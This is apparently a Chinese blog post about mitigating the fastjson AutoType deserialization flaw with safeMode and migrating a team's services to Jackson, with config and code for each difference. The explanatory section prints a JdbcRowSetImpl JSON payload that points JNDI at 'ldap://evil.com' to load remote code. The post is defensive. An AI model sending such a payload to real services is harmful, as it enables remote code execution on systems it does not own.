Administrator
发布于 2021-01-22 / 1890 阅读
47

Fastjson 反序列化漏洞与 Jackson 迁移

安全组的一封邮件

2021 年 1 月 20 号上午,公司安全组群发了一封邮件,标题是《关于 fastjson 反序列化漏洞的紧急排查通知》,要求各业务线在周五前上报使用了 fastjson 的服务清单和版本。

我心里咯噔一下。我们三个核心服务全在用 fastjson,版本 1.2.62。

$ mvn dependency:tree | grep -i fastjson
[INFO] |  \- com.alibaba:fastjson:jar:1.2.62:compile

AutoType 到底危险在哪

fastjson 有个 AutoType 机制:JSON 字符串里带一个 @type 字段,指定要反序列化成哪个类。设计初衷是为了多态序列化——父类字段声明、实际存子类对象时,靠 @type 还原真实类型。

String json = "{\"@type\":\"com.xxx.OrderExt\",\"extId\":123}";
Order order = JSON.parseObject(json, Order.class);  // 实际得到 OrderExt

问题在于,反序列化时 fastjson 会自动调用这个类的 setter 方法和满足条件的 getter 方法。攻击者不需要你的代码里有任何显式调用,只要目标类的 setter 里做了危险的事,构造一个 JSON 就能触发。

最经典的是 com.sun.rowset.JdbcRowSetImpl,它是 JDK 自带的类,setDataSourceName() 接一个 JNDI 地址,setAutoCommit() 会真的去连接:

{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "ldap://evil.com:1389/Exploit",
  "autoCommit": true
}

只要你的代码里有一处 JSON.parseObject(userInput)parseObject(String) 这种不指定 Class 的重载),这段 JSON 就会让 JVM 去 evil.com 拉一个远程类并加载执行。JNDI 注入在 JDK 8u191 之后对 RMI/LDAP 加了限制,但不是所有场景都能挡住。

阿里这两年一直在打补丁:1.2.60 加黑名单、1.2.61 堵绕过、1.2.68 引入 safeMode……每出一个新绕过,就再升一个版本。我在 2020 年一年升了 5 次 fastjson,每次都是"紧急"。

黑名单这条路是靠不住的,JDK 里能做利用链的类太多了,堵不完。

两个方案

摆在面前的有两条路:

方案改动量风险
升到 1.2.68 并开 safeMode小,改一行配置后续还要持续跟进新漏洞
迁移 Jackson大,我们 142 处调用迁移期行为差异可能引入 bug

如果来不及,safeMode 是必须立刻做的止血。它彻底禁用 AutoType,一行代码:

// 代码方式
ParserConfig.getGlobalInstance().setSafeMode(true);

// 或者启动参数,不用改代码
-Dfastjson.parser.safeMode=true

// Spring Boot 里也可以写成
@PostConstruct
public void init() {
    ParserConfig.getGlobalInstance().setSafeMode(true);
}

开了 safeMode 之后再反序列化带 @type 的 JSON,会直接抛异常:

com.alibaba.fastjson.JSONException: safeMode not support autoType : com.xxx.OrderExt
    at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1284)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)

注意 safeMode 是 1.2.68 才引入的,1.2.67 及以下没有这个开关。所以必须先升到 1.2.68 以上。

我们当天下午就把三个服务全升到 1.2.75 并开了 safeMode,全回归测试通过。这是止血。但我在复盘会上提议做迁移,理由是:safeMode 关掉了 AutoType,那 fastjson 剩下的只有"API 好用"这一个优势了,而这个优势不足以抵消每年 5 次紧急升级的成本。团队同意了。

迁移中最容易踩的六个差异

2 月到 3 月,我们花了大约三周(三个人,兼职做)把三个服务迁完。下面是真正踩到的坑,按踩的频次排序。

1. Jackson 默认严格,未知字段直接报错

这是迁移期 bug 里最多的一类。对方接口加了个字段,fastjson 默默忽略,Jackson 抛异常:

com.fasterxml.jackson.databind.exc.UnrecognizedPropertyException:
Unrecognized field "buyer_nick" (class com.xxx.OrderDTO),
not marked as ignorable (12 known properties: ...)
 at [Source: (String)"{...}"; line: 1, column: 187]

必须显式配:

@Configuration
public class JacksonConfig {
    @Bean
    @Primary
    public ObjectMapper objectMapper() {
        ObjectMapper mapper = new ObjectMapper();
        mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
        return mapper;
    }
}

Spring Boot 里更省事:

spring:
  jackson:
    deserialization:
      fail-on-unknown-properties: false

2. null 字段要不要输出

fastjson 默认不序列化值为 null 的字段,Jackson 默认输出。这个差异直接影响响应体大小,我们的订单接口响应从 1.8 KB 涨到 2.4 KB。

@JsonInclude(JsonInclude.Include.NON_NULL)   // 类级别,对齐 fastjson 行为
public class OrderDTO { ... }

// 或全局配置
mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);

3. 日期格式

fastjson 对 Date 默认输出 yyyy-MM-dd HH:mm:ss,Jackson 默认输出时间戳数字1611302400000)。这个差异会让前端直接崩。

spring:
  jackson:
    date-format: yyyy-MM-dd HH:mm:ss
    time-zone: GMT+8
    serialization:
      write-dates-as-timestamps: false    # 关键

单个字段用注解,建议统一用这个而不是依赖全局配置:

@JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss", timezone = "GMT+8")
private Date createTime;

4. 注解要逐个替换

fastjsonJackson说明
@JSONField(name="x")@JsonProperty("x")字段重命名
@JSONField(serialize=false)@JsonIgnore不序列化
@JSONField(format="yyyy-MM-dd")@JsonFormat(pattern="yyyy-MM-dd")格式
@JSONField(ordinal=1)@JsonPropertyOrder(类上)顺序
JSONField(serializeUsing=...)@JsonSerialize(using=...)自定义序列化器

我们用 IDE 的全局替换加人工核对,142 个文件里手动改了 89 处。

5. 泛型要用 TypeReference

// fastjson
List<Order> list = JSON.parseArray(json, Order.class);
Map<String, Order> map = JSON.parseObject(json,
        new TypeReference<Map<String, Order>>() {});

// Jackson
List<Order> list = mapper.readValue(json,
        new TypeReference<List<Order>>() {});
Map<String, Order> map = mapper.readValue(json,
        new TypeReference<Map<String, Order>>() {});

Jackson 没有 parseArray 这种便捷方法,泛型一律走 TypeReference

6. JSONObject 的取值语义不一样

我们代码里有大量 JSONObject 直接取值的写法,这两个类的行为差别很大:

// fastjson: 类型宽容,会帮你转
JSONObject jo = JSON.parseObject(json);
int a = jo.getIntValue("count");      // 值是 "12" 字符串也能转成 12,null 返回 0

// Jackson: 没有对应类型就抛异常
JsonNode node = mapper.readTree(json);
int a = node.path("count").asInt();   // 缺省返回 0,不会抛
int b = node.get("count").asInt();    // 字段不存在时 NPE

建议一律用 path() 而不是 get()path() 在节点不存在时返回 MissingNodeasInt() 返回 0,行为和 getIntValue 接近。

迁移后的验证

我们做了一件事来保证不出事:双写对比。关键接口上线后,同时用 fastjson 和 Jackson 各序列化一次,比对结果,不一致就打日志告警:

String byJackson = mapper.writeValueAsString(dto);
String byFastjson = JSON.toJSONString(dto);
if (!jsonEquals(byJackson, byFastjson)) {
    log.warn("JSON_DIFF type={} jackson={} fastjson={}",
             dto.getClass().getSimpleName(), byJackson, byFastjson);
}

跑了两周,累计 470 万次对比,捕获到 6 类不一致,全部是上面列的日期格式和 null 字段问题。确认全部清零后才把 fastjson 依赖删掉。

留个问题

关于《Fastjson 反序列化漏洞与 Jackson 迁移》里这个坑,你当时是怎么处理的?欢迎在评论区聊聊你踩过的类似情况。

参考